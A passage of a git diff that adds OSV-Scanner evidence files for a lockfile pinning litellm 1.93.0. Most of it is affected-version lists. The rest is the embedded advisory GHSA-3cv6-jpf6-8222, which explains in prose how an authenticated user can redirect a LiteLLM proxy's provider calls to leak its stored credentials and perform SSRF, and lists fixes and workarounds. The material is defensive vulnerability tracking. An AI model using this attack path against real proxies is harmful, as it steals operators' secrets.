"0.1.570", + "0.1.574", + "0.1.578", + "0.1.580", + "0.1.582", + "0.1.583", + "0.1.585", + "0.1.586", + "0.1.587", + "0.1.590", + "0.1.591", + "0.1.593", + "0.1.595", + "0.1.596", + "0.1.597", + "0.1.598", + "0.1.600", + "0.1.601", + "0.1.604", + "0.1.605", + "0.1.607", + "0.1.609", + "0.1.610", + "0.1.615", + "0.1.618", + "0.1.619", + "0.1.620", + "0.1.621", + "0.1.623", + "0.1.624", + "0.1.625", + "0.1.626", + "0.1.629", + "0.1.630", + "0.1.631", + "0.1.632", + "0.1.634", + "0.1.635", + "0.1.636", + "0.1.638", + "0.1.639", + "0.1.641", + "0.1.642", + "0.1.643", + "0.1.644", + "0.1.645", + "0.1.646", + "0.1.647", + "0.1.648", + "0.1.649", + "0.1.650", + "0.1.651", + "0.1.652", + "0.1.674", + "0.1.680", + "0.1.681", + "0.1.683", + "0.1.685", + "0.1.686", + "0.1.687", + "0.1.689", + "0.1.690", + "0.1.692", + "0.1.693", + "0.1.696", + "0.1.697", + "0.1.698", + "0.1.700", + "0.1.700.dev0", + "0.1.700.dev1", + "0.1.700.dev2", + "0.1.700.dev3", + "0.1.700.dev4", + "0.1.700.dev5", + "0.1.702", + "0.1.704", + "0.1.706", + "0.1.714", + "0.1.714.dev1", + "0.1.715", + "0.1.716", + "0.1.719", + "0.1.720", + "0.1.721", + "0.1.723", + "0.1.724", + "0.1.729", + "0.1.736", + "0.1.738", + "0.1.743", + "0.1.745", + "0.1.746", + "0.1.747", + "0.1.748", + "0.1.749", + "0.1.750", + "0.1.751", + "0.1.758", + "0.1.765", + "0.1.769", + "0.1.7701", + "0.1.7713", + "0.1.772", + "0.1.774", + "0.1.780", + "0.1.781", + "0.1.784", + "0.1.786", + "0.1.788", + "0.1.789", + "0.1.793", + "0.1.794", + "0.1.805", + "0.1.806", + "0.1.807", + "0.1.813", + "0.1.814", + "0.1.815", + "0.1.816", + "0.1.817", + "0.1.818", + "0.1.819", + "0.1.820", + "0.1.821", + "0.1.824", + "0.10.0", + "0.10.1", + "0.11.1", + "0.12.10", + "0.12.11", + "0.12.12", + "0.12.4", + "0.12.4.dev1", + "0.12.4.dev2", + "0.12.5", + "0.12.5.dev1", + "0.12.7", + "0.12.7.dev1", + "0.12.8", + "0.12.9", + "0.13.0", + "0.13.1", + "0.13.1.dev1", + "0.13.1.dev2", + "0.13.1.dev3", + "0.13.2", + "0.13.2.dev1", + "0.13.3.dev1", + "0.13.3.dev2", + "0.13.6.dev1", + "0.13.6.dev2", + "0.13.6.dev3", + "0.13.7.dev1", + "0.14.0", + "0.14.0.dev1", + "0.14.1", + "0.2.5", + "0.2.6", + "0.3.0", + "0.3.1", + "0.4.0", + "0.4.4", + "0.5.2", + "0.5.3", + "0.5.4", + "0.5.6", + "0.6.0", + "0.6.1", + "0.6.2", + "0.6.6", + "0.7.1", + "0.7.1.dev1", + "0.7.1.dev2", + "0.7.1.dev3", + "0.7.10", + "0.7.3", + "0.7.4", + "0.7.5", + "0.7.9", + "0.8.0", + "0.8.1", + "0.8.2", + "0.8.3", + "0.8.4", + "0.8.5", + "0.8.6", + "0.9.0", + "0.9.1", + "0.9.2", + "0.9.2.dev1", + "1.0.0", + "1.0.0.dev1", + "1.0.3", + "1.0.3.dev1", + "1.1.0", + "1.1.1", + "1.1.2", + "1.1.3", + "1.10.0", + "1.10.1", + "1.10.10", + "1.10.11", + "1.10.2", + "1.10.3", + "1.10.4", + "1.10.6", + "1.10.8", + "1.10.9", + "1.10.dev11", + "1.11.0", + "1.11.1", + "1.12.0", + "1.12.1", + "1.12.2", + "1.12.3", + "1.12.5", + "1.12.5.dev1", + "1.12.6.dev1", + "1.12.6.dev2", + "1.12.6.dev3", + "1.12.6.dev4", + "1.12.6.dev5", + "1.13.2", + "1.14.0", + "1.14.0.dev1", + "1.14.1", + "1.14.2", + "1.14.3", + "1.14.4", + "1.2.0", + "1.3.1", + "1.3.3", + "1.3.3.dev1", + "1.3.3.dev2", + "1.3.3.dev3", + "1.4.0", + "1.53.1", + "1.53.1.dev1", + "1.53.2", + "1.53.3", + "1.53.4", + "1.53.5", + "1.53.6", + "1.53.7", + "1.53.8", + "1.53.9", + "1.54.0", + "1.54.1", + "1.55.0", + "1.55.1", + "1.55.10", + "1.55.11", + "1.55.12", + "1.55.2", + "1.55.3", + "1.55.4", + "1.55.6", + "1.55.7", + "1.55.8", + "1.55.9", + "1.56.10", + "1.56.2", + "1.56.3", + "1.56.4", + "1.56.5", + "1.56.6", + "1.56.8", + "1.56.8.dev4", + "1.56.8.dev5", + "1.56.8.dev6", + "1.56.8.dev7", + "1.56.9", + "1.57.0", + "1.57.1", + "1.57.10", + "1.57.11", + "1.57.2", + "1.57.3", + "1.57.4", + "1.57.5", + "1.57.7", + "1.57.7.dev1", + "1.57.8", + "1.58.0", + "1.58.1", + "1.58.2", + "1.58.4", + "1.59.0", + "1.59.1", + "1.59.1.dev1", + "1.59.10", + "1.59.10.dev1", + "1.59.12", + "1.59.2", + "1.59.3", + "1.59.5", + "1.59.6", + "1.59.7", + "1.59.8", + "1.59.9", + "1.6.0", + "1.60.0", + "1.60.2", + "1.60.4", + "1.60.5", + "1.60.6", + "1.60.7", + "1.60.8", + "1.60.9", + "1.61.0", + "1.61.0.dev1", + "1.61.1", + "1.61.11", + "1.61.13", + "1.61.15", + "1.61.16", + "1.61.17", + "1.61.19", + "1.61.2", + "1.61.20", + "1.61.3", + "1.61.4", + "1.61.5", + "1.61.6", + "1.61.7", + "1.61.8", + "1.61.9", + "1.62.1", + "1.62.4", + "1.63.0", + "1.63.0.dev12", + "1.63.11", + "1.63.11.dev1", + "1.63.12", + "1.63.14", + "1.63.2", + "1.63.3", + "1.63.4.dev1", + "1.63.5", + "1.63.6", + "1.63.7", + "1.63.8", + "1.64.1", + "1.65.0", + "1.65.0.post1", + "1.65.1", + "1.65.3", + "1.65.4", + "1.65.4.post1", + "1.65.5", + "1.65.6", + "1.65.7", + "1.65.8", + "1.66.0", + "1.66.1", + "1.66.2", + "1.66.3", + "1.67.0", + "1.67.0.post1", + "1.67.1", + "1.67.2", + "1.67.4", + "1.67.4.dev1", + "1.67.4.post1", + "1.67.5", + "1.67.6", + "1.68.0", + "1.68.1", + "1.68.1.dev1", + "1.68.2", + "1.69.0", + "1.69.1", + "1.69.2", + "1.69.3", + "1.7.1", + "1.7.11", + "1.7.12", + "1.7.2", + "1.7.3", + "1.7.4", + "1.7.5", + "1.7.6", + "1.7.7", + "1.7.8", + "1.7.9", + "1.70.0", + "1.70.2", + "1.70.4", + "1.71.0", + "1.71.1", + "1.71.2", + "1.71.3", + "1.72.0", + "1.72.1", + "1.72.2", + "1.72.2.post1", + "1.72.3", + "1.72.4", + "1.72.5.dev1", + "1.72.5.dev2", + "1.72.5.dev3", + "1.72.6", + "1.72.6.post1", + "1.72.6.post2", + "1.72.7", + "1.72.7.dev1", + "1.72.7.dev7", + "1.72.9", + "1.73.0", + "1.73.0.post1", + "1.73.0rc1", + "1.73.1", + "1.73.2", + "1.73.6", + "1.73.6.post1", + "1.73.6rc2", + "1.73.7", + "1.73.7.dev1", + "1.73.7.dev2", + "1.73.7.dev3", + "1.73.7.dev4", + "1.74.0", + "1.74.0.post1", + "1.74.0.post2", + "1.74.1", + "1.74.12", + "1.74.14", + "1.74.15", + "1.74.15.post1", + "1.74.15.post2", + "1.74.2", + "1.74.3", + "1.74.3.post1", + "1.74.3rc1", + "1.74.3rc2", + "1.74.3rc3", + "1.74.4", + "1.74.4.dev1", + "1.74.6", + "1.74.7", + "1.74.7.post1", + "1.74.7.post2", + "1.74.7rc1", + "1.74.8", + "1.74.8.dev2", + "1.74.9", + "1.74.9.dev1", + "1.74.9.dev2", + "1.74.9.post1", + "1.74.9.post2", + "1.75.0", + "1.75.2", + "1.75.3", + "1.75.4", + "1.75.5.post1", + "1.75.5.post2", + "1.75.6", + "1.75.7", + "1.75.8", + "1.75.9", + "1.76.0", + "1.76.1", + "1.76.2", + "1.76.3", + "1.77.0", + "1.77.1", + "1.77.2.post1", + "1.77.3", + "1.77.4", + "1.77.4.dev1", + "1.77.5", + "1.77.7", + "1.78.0", + "1.78.0rc2", + "1.78.2", + "1.78.3", + "1.78.4", + "1.78.5", + "1.78.6", + "1.78.7", + "1.79.0", + "1.79.0.dev1", + "1.79.0.dev2", + "1.79.0.dev3", + "1.79.1", + "1.79.2", + "1.79.3", + "1.79.3.dev8", + "1.8.1", + "1.80.0", + "1.80.10", + "1.80.11", + "1.80.12", + "1.80.13", + "1.80.15", + "1.80.16", + "1.80.17", + "1.80.5", + "1.80.6", + "1.80.7", + "1.80.8", + "1.80.9", + "1.81.0", + "1.81.1", + "1.81.10", + "1.81.11", + "1.81.12", + "1.81.13", + "1.81.14", + "1.81.15", + "1.81.16", + "1.81.3", + "1.81.4", + "1.81.5", + "1.81.6", + "1.81.7", + "1.81.8", + "1.81.9", + "1.81.9.dev1", + "1.82.0", + "1.82.1", + "1.82.2", + "1.82.3", + "1.82.4", + "1.82.5", + "1.82.6", + "1.83.0", + "1.83.1", + "1.83.10", + "1.83.11", + "1.83.12", + "1.83.13", + "1.83.14", + "1.83.2", + "1.83.3", + "1.83.4", + "1.83.5", + "1.83.6", + "1.83.7", + "1.83.8", + "1.83.9", + "1.84.0", + "1.84.0.dev1", + "1.84.0.dev2", + "1.84.0rc1", + "1.84.1", + "1.84.10", + "1.84.2", + "1.84.3", + "1.84.4", + "1.84.5", + "1.84.6", + "1.84.7", + "1.84.8", + "1.84.9", + "1.85.0", + "1.85.0.dev1", + "1.85.0.dev2", + "1.85.0rc1", + "1.85.0rc2", + "1.85.1", + "1.85.2", + "1.85.3", + "1.85.4", + "1.85.5", + "1.85.6", + "1.85.7", + "1.86.0", + "1.86.0rc1", + "1.86.1", + "1.86.2", + "1.86.3", + "1.86.4", + "1.86.5", + "1.86.6", + "1.86.7", + "1.87.0", + "1.87.0.dev1", + "1.87.0rc1", + "1.87.0rc2", + "1.87.1", + "1.87.2", + "1.87.3", + "1.87.4", + "1.87.5", + "1.88.0", + "1.88.0.dev1", + "1.88.0rc1", + "1.88.0rc2", + "1.88.0rc3", + "1.88.1", + "1.88.2", + "1.88.3", + "1.88.4", + "1.88.5", + "1.9.0", + "1.9.1", + "1.9.2", + "1.9.3", + "1.9.4", + "1.9.5", + "1.9.dev0" + ] + }, + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-3cv6-jpf6-8222/GHSA-3cv6-jpf6-8222.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "litellm", + "purl": "pkg:pypi/litellm" + }, + "ranges": [ + { + "events": [ + { + "introduced": "1.89.0" + }, + { + "fixed": "1.89.7" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.89.0", + "1.89.1", + "1.89.2", + "1.89.3", + "1.89.4", + "1.89.5", + "1.89.6" + ] + }, + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-3cv6-jpf6-8222/GHSA-3cv6-jpf6-8222.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "litellm", + "purl": "pkg:pypi/litellm" + }, + "ranges": [ + { + "events": [ + { + "introduced": "1.90.0" + }, + { + "fixed": "1.90.7" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.90.0", + "1.90.1", + "1.90.2", + "1.90.3", + "1.90.4", + "1.90.5", + "1.90.6" + ] + }, + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-3cv6-jpf6-8222/GHSA-3cv6-jpf6-8222.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "litellm", + "purl": "pkg:pypi/litellm" + }, + "ranges": [ + { + "events": [ + { + "introduced": "1.91.0" + }, + { + "fixed": "1.91.5" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.91.0", + "1.91.1", + "1.91.2", + "1.91.3", + "1.91.4" + ] + }, + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-3cv6-jpf6-8222/GHSA-3cv6-jpf6-8222.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "litellm", + "purl": "pkg:pypi/litellm" + }, + "ranges": [ + { + "events": [ + { + "introduced": "1.92.0" + }, + { + "fixed": "1.92.2" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.92.0", + "1.92.1" + ] + }, + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-3cv6-jpf6-8222/GHSA-3cv6-jpf6-8222.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "litellm", + "purl": "pkg:pypi/litellm" + }, + "ranges": [ + { + "events": [ + { + "introduced": "1.93.0" + }, + { + "fixed": "1.93.2" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.93.0", + "1.93.1" + ] + }, + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-3cv6-jpf6-8222/GHSA-3cv6-jpf6-8222.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "litellm", + "purl": "pkg:pypi/litellm" + }, + "ranges": [ + { + "events": [ + { + "introduced": "1.94.0" + }, + { + "fixed": "1.94.3" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.94.0", + "1.94.1", + "1.94.2" + ] + }, + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-3cv6-jpf6-8222/GHSA-3cv6-jpf6-8222.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "litellm", + "purl": "pkg:pypi/litellm" + }, + "ranges": [ + { + "events": [ + { + "introduced": "1.95.0" + }, + { + "fixed": "1.95.1" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.95.0" + ] + }, + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-3cv6-jpf6-8222/GHSA-3cv6-jpf6-8222.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "litellm", + "purl": "pkg:pypi/litellm" + }, + "ranges": [ + { + "events": [ + { + "introduced": "1.96.0" + }, + { + "fixed": "1.96.2" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.96.0" + ] + } + ], + "aliases": [ + "CVE-2026-84377" + ], + "database_specific": { + "cwe_ids": [ + "CWE-918" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-30T21:11:25Z", + "nvd_published_at": "2026-09-02T18:21:28Z", + "severity": "MODERATE" + }, + "details": "### Impact\n\nAny authenticated LiteLLM proxy user could redirect an outbound provider call to a destination they control and cause the proxy to send its own configured provider credentials to that destination. The proxy's request-body validation was a denylist that did not cover every sensitive parameter and did not inspect parameters nested inside other request fields, so a caller could supply a routing or credential value that the proxy applied without clearing the operator's stored key. Any authenticated user could therefore exfiltrate the operator's upstream provider credentials and other configured secrets, and perform Server-Side Request Forgery against internal services reachable from the proxy.\n\n### Patches\n\nFixed in 1.96.2, 1.95.1, 1.94.3, 1.93.2, 1.92.2, 1.91.5, 1.90.7, 1.89.7, and 1.88.6.\n\n### Workarounds\n\nSet `general_settings.allow_client_side_credentials` to `false` so callers cannot override connection parameters, restrict proxy keys to trusted callers, and block the affected parameters (`api_base`, `base_url`, `model_list`, `fallbacks`, provider credential fields) at a reverse proxy or API gateway.", + "id": "GHSA-3cv6-jpf6-8222", + "modified": "2026-09-30T21:15:08.145507777Z", + "published": "2026-09-30T21:11:25Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/BerriAI/litellm/security/advisories/GHSA-3cv6-jpf6-8222" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84377" + }, + { + "type": "WEB", + "url": "https://github.com/BerriAI/litellm/pull/36011" + }, + { + "type": "WEB", + "url": "https://github.com/BerriAI/litellm/pull/36314" + }, + { + "type": "WEB", + "url": "https://github.com/BerriAI/litellm/pull/36494" + }, + { + "type": "WEB", + "url": "https://github.com/BerriAI/litellm/commit/473f72e63a9777d793fbbf57194d8ec4fb97bc1b" + }, + { + "type": "WEB", + "url": "https://github.com/BerriAI/litellm/commit/820f247a6abba55cd87d130bef7bba7be3b29d37" + }, + { + "type": "WEB", + "url": "https://github.com/BerriAI/litellm/commit/c898d341c02299cf2506d0d8e84cc67953043593" + }, + { + "type": "PACKAGE", + "url": "https://github.com/BerriAI/litellm" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", + "type": "CVSS_V3" + } + ], + "summary": "LiteLLM: Authenticated SSRF and provider-credential exfiltration via unvalidated request-body routing parameters" + } + ] + } + ] + } + ], + "experimental_config": { + "licenses": { + "summary": false, + "allowlist": null + } + } +} diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-baseline-osv-empty-config.stderr.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-baseline-osv-empty-config.stderr.txt new file mode 100644 index 000000000..83cf4dc59 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-baseline-osv-empty-config.stderr.txt @@ -0,0 +1,3 @@ +Starting filesystem walk for root: / +Scanned /control.lock file and found 174 packages +End status: 0 dirs visited, 1 inodes visited, 1 Extract calls, 21.234691ms elapsed, 21.234881ms wall time diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-baseline-osv-empty-config.stdout.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-baseline-osv-empty-config.stdout.txt new file mode 100644 index 000000000..999b6b44d --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-baseline-osv-empty-config.stdout.txt @@ -0,0 +1,1370 @@ +{ + "results": [ + { + "source": { + "path": "/control.lock", + "type": "lockfile" + }, + "packages": [ + { + "package": { + "name": "litellm", + "version": "1.93.0", + "ecosystem": "PyPI" + }, + "groups": [ + { + "ids": [ + "GHSA-3cv6-jpf6-8222" + ], + "aliases": [ + "CVE-2026-84377", + "GHSA-3cv6-jpf6-8222" + ], + "max_severity": "6.5" + } + ], + "vulnerabilities": [ + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-3cv6-jpf6-8222/GHSA-3cv6-jpf6-8222.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "litellm", + "purl": "pkg:pypi/litellm" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.88.6" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "0.1.0", + "0.1.1", + "0.1.2", + "0.1.201", + "0.1.202", + "0.1.203", + "0.1.204", + "0.1.205", + "0.1.206", + "0.1.207", + "0.1.208", + "0.1.209", + "0.1.210", + "0.1.211", + "0.1.212", + "0.1.213", + "0.1.214", + "0.1.215", + "0.1.216", + "0.1.217", + "0.1.218", + "0.1.219", + "0.1.220", + "0.1.221", + "0.1.222", + "0.1.223", + "0.1.224", + "0.1.225", + "0.1.226", + "0.1.227", + "0.1.228", + "0.1.229", + "0.1.2291", + "0.1.230", + "0.1.231", + "0.1.232", + "0.1.233", + "0.1.234", + "0.1.235", + "0.1.236", + "0.1.237", + "0.1.238", + "0.1.3", + "0.1.31", + "0.1.32", + "0.1.330", + "0.1.331", + "0.1.34", + "0.1.341", + "0.1.343", + "0.1.345", + "0.1.347", + "0.1.348", + "0.1.349", + "0.1.351", + "0.1.352", + "0.1.353", + "0.1.354", + "0.1.356", + "0.1.360", + "0.1.361", + "0.1.362", + "0.1.363", + "0.1.364", + "0.1.365", + "0.1.366", + "0.1.367", + "0.1.368", + "0.1.369", + "0.1.370", + "0.1.371", + "0.1.372", + "0.1.373", + "0.1.375", + "0.1.376", + "0.1.379", + "0.1.380", + "0.1.381", + "0.1.383", + "0.1.384", + "0.1.385", + "0.1.386", + "0.1.387", + "0.1.388", + "0.1.389", + "0.1.392", + "0.1.393", + "0.1.394", + "0.1.398", + "0.1.399", + "0.1.400", + "0.1.401", + "0.1.402", + "0.1.403", + "0.1.404", + "0.1.405", + "0.1.410", + "0.1.411", + "0.1.412", + "0.1.415", + "0.1.419", + "0.1.420", + "0.1.421", + "0.1.422", + "0.1.424", + "0.1.425", + "0.1.426", + "0.1.429", + "0.1.433", + "0.1.434", + "0.1.435", + "0.1.436", + "0.1.437", + "0.1.438", + "0.1.439", + "0.1.440", + "0.1.441", + "0.1.442", + "0.1.443", + "0.1.444", + "0.1.445", + "0.1.446", + "0.1.447", + "0.1.448", + "0.1.449", + "0.1.450", + "0.1.451", + "0.1.452", + "0.1.456", + "0.1.457", + "0.1.459", + "0.1.460", + "0.1.461", + "0.1.464", + "0.1.465", + "0.1.475", + "0.1.477", + "0.1.479", + "0.1.480", + "0.1.481", + "0.1.482", + "0.1.486", + "0.1.487", + "0.1.488", + "0.1.490", + "0.1.491", + "0.1.492", + "0.1.493", + "0.1.494", + "0.1.495", + "0.1.497", + "0.1.500", + "0.1.501", + "0.1.504", + "0.1.507", + "0.1.508", + "0.1.509", + "0.1.510", + "0.1.511", + "0.1.512", + "0.1.516", + "0.1.517", + "0.1.518", + "0.1.520", + "0.1.525", + "0.1.530", + "0.1.531", + "0.1.533", + "0.1.535", + "0.1.536", + "0.1.537", + "0.1.538", + "0.1.544", + "0.1.546", + "0.1.547", + "0.1.548", + "0.1.549", + "0.1.550", + "0.1.551", + "0.1.552", + "0.1.553", + "0.1.554", + "0.1.555", + "0.1.556", + "0.1.557", + "0.1.558", + "0.1.559", + "0.1.560", + "0.1.561", + "0.1.562", + "0.1.563", + "0.1.567", + "0.1.568", + "0.1.569", + "0.1.570", + "0.1.574", + "0.1.578", + "0.1.580", + "0.1.582", + "0.1.583", + "0.1.585", + "0.1.586", + "0.1.587", + "0.1.590", + "0.1.591", + "0.1.593", + "0.1.595", + "0.1.596", + "0.1.597", + "0.1.598", + "0.1.600", + "0.1.601", + "0.1.604", + "0.1.605", + "0.1.607", + "0.1.609", + "0.1.610", + "0.1.615", + "0.1.618", + "0.1.619", + "0.1.620", + "0.1.621", + "0.1.623", + "0.1.624", + "0.1.625", + "0.1.626", + "0.1.629", + "0.1.630", + "0.1.631", + "0.1.632", + "0.1.634", + "0.1.635", + "0.1.636", + "0.1.638", + "0.1.639", + "0.1.641", + "0.1.642", + "0.1.643", + "0.1.644", + "0.1.645", + "0.1.646", + "0.1.647", + "0.1.648", + "0.1.649", + "0.1.650", + "0.1.651", + "0.1.652", + "0.1.674", + "0.1.680", + "0.1.681", + "0.1.683", + "0.1.685", + "0.1.686", + "0.1.687", + "0.1.689", + "0.1.690", + "0.1.692", + "0.1.693", + "0.1.696", + "0.1.697", + "0.1.698", + "0.1.700", + "0.1.700.dev0", + "0.1.700.dev1", + "0.1.700.dev2", + "0.1.700.dev3", + "0.1.700.dev4", + "0.1.700.dev5", + "0.1.702", + "0.1.704", + "0.1.706", + "0.1.714", + "0.1.714.dev1", + "0.1.715", + "0.1.716", + "0.1.719", + "0.1.720", + "0.1.721", + "0.1.723", + "0.1.724", + "0.1.729", + "0.1.736", + "0.1.738", + "0.1.743", + "0.1.745", + "0.1.746", + "0.1.747", + "0.1.748", + "0.1.749", + "0.1.750", + "0.1.751", + "0.1.758", + "0.1.765", + "0.1.769", + "0.1.7701", + "0.1.7713", + "0.1.772", + "0.1.774", + "0.1.780", + "0.1.781", + "0.1.784", + "0.1.786", + "0.1.788", + "0.1.789", + "0.1.793", + "0.1.794", + "0.1.805", + "0.1.806", + "0.1.807", + "0.1.813", + "0.1.814", + "0.1.815", + "0.1.816", + "0.1.817", + "0.1.818", + "0.1.819", + "0.1.820", + "0.1.821", + "0.1.824", + "0.10.0", + "0.10.1", + "0.11.1", + "0.12.10", + "0.12.11", + "0.12.12", + "0.12.4", + "0.12.4.dev1", + "0.12.4.dev2", + "0.12.5", + "0.12.5.dev1", + "0.12.7", + "0.12.7.dev1", + "0.12.8", + "0.12.9", + "0.13.0", + "0.13.1", + "0.13.1.dev1", + "0.13.1.dev2", + "0.13.1.dev3", + "0.13.2", + "0.13.2.dev1", + "0.13.3.dev1", + "0.13.3.dev2", + "0.13.6.dev1", + "0.13.6.dev2", + "0.13.6.dev3", + "0.13.7.dev1", + "0.14.0", + "0.14.0.dev1", + "0.14.1", + "0.2.5", + "0.2.6", + "0.3.0", + "0.3.1", + "0.4.0", + "0.4.4", + "0.5.2", + "0.5.3", + "0.5.4", + "0.5.6", + "0.6.0", + "0.6.1", + "0.6.2", + "0.6.6", + "0.7.1", + "0.7.1.dev1", + "0.7.1.dev2", + "0.7.1.dev3", + "0.7.10", + "0.7.3", + "0.7.4", + "0.7.5", + "0.7.9", + "0.8.0", + "0.8.1", + "0.8.2", + "0.8.3", + "0.8.4", + "0.8.5", + "0.8.6", + "0.9.0", + "0.9.1", + "0.9.2", + "0.9.2.dev1", + "1.0.0", + "1.0.0.dev1", + "1.0.3", + "1.0.3.dev1", + "1.1.0", + "1.1.1", + "1.1.2", + "1.1.3", + "1.10.0", + "1.10.1", + "1.10.10", + "1.10.11", + "1.10.2", + "1.10.3", + "1.10.4", + "1.10.6", + "1.10.8", + "1.10.9", + "1.10.dev11", + "1.11.0", + "1.11.1", + "1.12.0", + "1.12.1", + "1.12.2", + "1.12.3", + "1.12.5", + "1.12.5.dev1", + "1.12.6.dev1", + "1.12.6.dev2", + "1.12.6.dev3", + "1.12.6.dev4", + "1.12.6.dev5", + "1.13.2", + "1.14.0", + "1.14.0.dev1", + "1.14.1", + "1.14.2", + "1.14.3", + "1.14.4", + "1.2.0", + "1.3.1", + "1.3.3", + "1.3.3.dev1", + "1.3.3.dev2", + "1.3.3.dev3", + "1.4.0", + "1.53.1", + "1.53.1.dev1", + "1.53.2", + "1.53.3", + "1.53.4", + "1.53.5", + "1.53.6", + "1.53.7", + "1.53.8", + "1.53.9", + "1.54.0", + "1.54.1", + "1.55.0", + "1.55.1", + "1.55.10", + "1.55.11", + "1.55.12", + "1.55.2", + "1.55.3", + "1.55.4", + "1.55.6", + "1.55.7", + "1.55.8", + "1.55.9", + "1.56.10", + "1.56.2", + "1.56.3", + "1.56.4", + "1.56.5", + "1.56.6", + "1.56.8", + "1.56.8.dev4", + "1.56.8.dev5", + "1.56.8.dev6", + "1.56.8.dev7", + "1.56.9", + "1.57.0", + "1.57.1", + "1.57.10", + "1.57.11", + "1.57.2", + "1.57.3", + "1.57.4", + "1.57.5", + "1.57.7", + "1.57.7.dev1", + "1.57.8", + "1.58.0", + "1.58.1", + "1.58.2", + "1.58.4", + "1.59.0", + "1.59.1", + "1.59.1.dev1", + "1.59.10", + "1.59.10.dev1", + "1.59.12", + "1.59.2", + "1.59.3", + "1.59.5", + "1.59.6", + "1.59.7", + "1.59.8", + "1.59.9", + "1.6.0", + "1.60.0", + "1.60.2", + "1.60.4", + "1.60.5", + "1.60.6", + "1.60.7", + "1.60.8", + "1.60.9", + "1.61.0", + "1.61.0.dev1", + "1.61.1", + "1.61.11", + "1.61.13", + "1.61.15", + "1.61.16", + "1.61.17", + "1.61.19", + "1.61.2", + "1.61.20", + "1.61.3", + "1.61.4", + "1.61.5", + "1.61.6", + "1.61.7", + "1.61.8", + "1.61.9", + "1.62.1", + "1.62.4", + "1.63.0", + "1.63.0.dev12", + "1.63.11", + "1.63.11.dev1", + "1.63.12", + "1.63.14", + "1.63.2", + "1.63.3", + "1.63.4.dev1", + "1.63.5", + "1.63.6", + "1.63.7", + "1.63.8", + "1.64.1", + "1.65.0", + "1.65.0.post1", + "1.65.1", + "1.65.3", + "1.65.4", + "1.65.4.post1", + "1.65.5", + "1.65.6", + "1.65.7", + "1.65.8", + "1.66.0", + "1.66.1", + "1.66.2", + "1.66.3", + "1.67.0", + "1.67.0.post1", + "1.67.1", + "1.67.2", + "1.67.4", + "1.67.4.dev1", + "1.67.4.post1", + "1.67.5", + "1.67.6", + "1.68.0", + "1.68.1", + "1.68.1.dev1", + "1.68.2", + "1.69.0", + "1.69.1", + "1.69.2", + "1.69.3", + "1.7.1", + "1.7.11", + "1.7.12", + "1.7.2", + "1.7.3", + "1.7.4", + "1.7.5", + "1.7.6", + "1.7.7", + "1.7.8", + "1.7.9", + "1.70.0", + "1.70.2", + "1.70.4", + "1.71.0", + "1.71.1", + "1.71.2", + "1.71.3", + "1.72.0", + "1.72.1", + "1.72.2", + "1.72.2.post1", + "1.72.3", + "1.72.4", + "1.72.5.dev1", + "1.72.5.dev2", + "1.72.5.dev3", + "1.72.6", + "1.72.6.post1", + "1.72.6.post2", + "1.72.7", + "1.72.7.dev1", + "1.72.7.dev7", + "1.72.9", + "1.73.0", + "1.73.0.post1", + "1.73.0rc1", + "1.73.1", + "1.73.2", + "1.73.6", + "1.73.6.post1", + "1.73.6rc2", + "1.73.7", + "1.73.7.dev1", + "1.73.7.dev2", + "1.73.7.dev3", + "1.73.7.dev4", + "1.74.0", + "1.74.0.post1", + "1.74.0.post2", + "1.74.1", + "1.74.12", + "1.74.14", + "1.74.15", + "1.74.15.post1", + "1.74.15.post2", + "1.74.2", + "1.74.3", + "1.74.3.post1", + "1.74.3rc1", + "1.74.3rc2", + "1.74.3rc3", + "1.74.4", + "1.74.4.dev1", + "1.74.6", + "1.74.7", + "1.74.7.post1", + "1.74.7.post2", + "1.74.7rc1", + "1.74.8", + "1.74.8.dev2", + "1.74.9", + "1.74.9.dev1", + "1.74.9.dev2", + "1.74.9.post1", + "1.74.9.post2", + "1.75.0", + "1.75.2", + 